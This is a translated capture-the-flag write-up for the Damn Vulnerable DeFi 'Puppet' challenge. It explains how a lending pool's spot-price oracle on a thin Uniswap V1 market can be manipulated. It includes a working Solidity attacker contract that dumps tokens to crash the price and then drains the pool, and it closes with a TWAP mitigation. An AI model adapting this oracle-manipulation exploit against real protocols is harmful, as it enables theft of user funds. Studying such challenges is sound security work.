本文分析了Damn Vulnerable DeFi V4挑战中的Puppet问题,该问题利用了DeFi借贷协议中价格预言机操纵漏洞。攻击者通过操纵Uniswap V1交易所的DVT/ETH价格,降低抵押品要求,从而借出资金池中的所有DVT代币,并将它们发送到指定的恢复地址。解决方案包括出售大量DVT代币以操纵价格,然后从池中借入DVT代币。

该解释假定你事先了解此挑战中的智能合约,并将专门关注漏洞分析。
这里有一个借贷池,用户可以在其中借用 Damn Valuable Tokens (DVTs)。为此,他们首先需要存入相当于借款金额两倍的 ETH 作为抵押品。该池目前有 100000 个 DVT 的流动性。
在旧的 Uniswap v1 交易所中开设了一个 DVT 市场,目前有 10 ETH 和 10 个 DVT 的流动性。
通过从借贷池中保存所有代币,然后将它们存入指定的 recovery account 中来通过挑战。你从 25 ETH 和 1000 个 DVT 的余额开始。
Puppet 挑战展示了 DeFi 借贷协议中一个典型的价格预言机操纵漏洞。借贷池使用 Uniswap V1 交易所作为其价格预言机,而没有任何防止操纵的措施。
核心漏洞在于 PuppetPool 合约中的价格预言机实现。 _computeOraclePrice() 函数直接根据 Uniswap 池中的当前余额计算 DVT/ETH 价格:
    function _computeOraclePrice() private view returns (uint256) {
        // calculates the price of the token in wei according to Uniswap pair
        return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
    }这种实现方式非常容易受到攻击,因为它依赖于流动性极低的单一流动性来源,并且可以通过更改池中的代币余额来轻松操纵价格。
    contract Attacker {
        DamnValuableToken token;
        PuppetPool pool;
        IUniswapV1Exchange exchange;
        address recovery;
        uint256 constant POOL_INITIAL_TOKEN_BALANCE = 100_000e18;
        constructor(DamnValuableToken _token, PuppetPool _pool, IUniswapV1Exchange _exchange, address _recovery) payable {
            token = _token;
            pool = _pool;
            exchange = _exchange;
            recovery = _recovery;
        }
        function startAttack() public {
            token.approve(address(exchange), 1000e18);
            exchange.tokenToEthSwapInput(1000e18, 1e18, block.timestamp + 1 days);
            uint256 collateralRequired = pool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE);
            pool.borrow{value: collateralRequired}(POOL_INITIAL_TOKEN_BALANCE, recovery);
        }
        receive() external payable{}
    }    /**
     * CODE YOUR SOLUTION HERE
     */
    function test_puppet() public checkSolvedByPlayer {
        Attacker attacker = new Attacker{value: 25e18}(token, lendingPool, uniswapV1Exchange, recovery);
        token.transfer(address(attacker), PLAYER_INITIAL_TOKEN_BALANCE);
        attacker.startAttack();
    }本来可以通过使用多个高流动性的价格来源并实施 TWAP 机制 来避免此漏洞。
包含解决方案的 GitHub 仓库:https://github.com/HamMnatsakanyan/damn-vulnerable-defi-solutions/
查看我的 X 个人资料:https://x.com/_synthrax
- 原文链接: coinsbench.com/damn-vuln...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
 
                如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!